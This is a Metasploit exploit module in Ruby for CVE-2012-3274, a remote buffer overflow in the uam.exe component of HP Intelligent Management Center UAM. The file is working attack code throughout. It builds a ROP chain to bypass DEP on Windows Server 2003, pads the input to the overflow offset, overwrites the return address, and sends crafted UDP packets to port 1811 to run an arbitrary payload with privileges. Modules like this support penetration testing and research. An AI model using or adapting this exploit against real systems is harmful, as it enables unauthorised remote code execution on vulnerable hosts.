require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Intelligent Management Center UAM Buffer Overflow',
'Description'=> %q{
This module exploits a remote buffer overflow in HP Intelligent Management Center
UAM. The vulnerability exists in the uam.exe component, when using sprint in a
insecure way for logging purposes. The vulnerability can be triggered by sending a
malformed packet to the 1811/UDP port. The module has been successfully tested on
HP iMC 5.0 E0101 and UAM 5.0 E0102 over Windows Server 2003 SP2 (DEP bypass).
},
'License'=> MSF_LICENSE,
'Author' =>
[
'e6af8de8b1d4b2b6d5ba2610cbf9cd38',
'sinn3r',
'juan vazquez'
],
'References' =>
[
['CVE', '2012-3274'],
['OSVDB', '85060'],
['BID', '55271'],
['ZDI', '12-171'],
['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c03589863']
],
'Payload'=>
{
'BadChars' => "\x00\x0d\x0a",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
'Space' => 3925,
'DisableNops' => true
},
'Platform' => ['win'],
'Targets'=>
[
[ 'HP iMC 5.0 E0101 / UAM 5.0 E0102 on Windows 2003 SP2',
{
'Offset' => 4035,
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Aug 29 2012',
'DefaultTarget'=> 0))
register_options([Opt::RPORT(1811)], self.class)
end
def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
def nop
return make_nops(4).unpack("V")[0].to_i
end
def send_echo_reply(operator)
packet = [0xF7103D21].pack("N")
packet << rand_text(18)
packet << [0x102].pack("n")
packet << "AAAA"
packet << "AA"
packet << operator
connect_udp
udp_sock.put(packet)
disconnect_udp
end
def exploit
rop_gadgets =
[
0x77bb2563,
0x77ba1114,
0x77bbf244,
junk,
0x77bb0c86,
0x77bc9801,
0x77be2265,
0x77bb2563,
0x03C0990F,
0x77bdd441,
0x77bb48d3,
0x77bf21e0,
0x77bbf102,
0x77bbfc02,
0x77bef001,
0x77bd8c04,
0x77bd8c05,
0x77bb2563,
0x03c0984f,
0x77bdd441,
0x77bb8285,
0x77bb2563,
nop,
0x77be6591,
].pack("V*")
bof = rand_text(14)
bof << rop_gadgets
bof << payload.encoded
bof << "C" * (target['Offset'] - 14 - rop_gadgets.length - payload.encoded.length)
bof << [0x77bb0c86].pack("V")
bof << [0x77bcc397].pack("V")
bof << [junk].pack("V")
bof << [0x77bcba5e].pack("V")
print_status("Trying target #{target.name}...")
send_echo_reply(rand_text(20))
send_echo_reply(bof)
end
end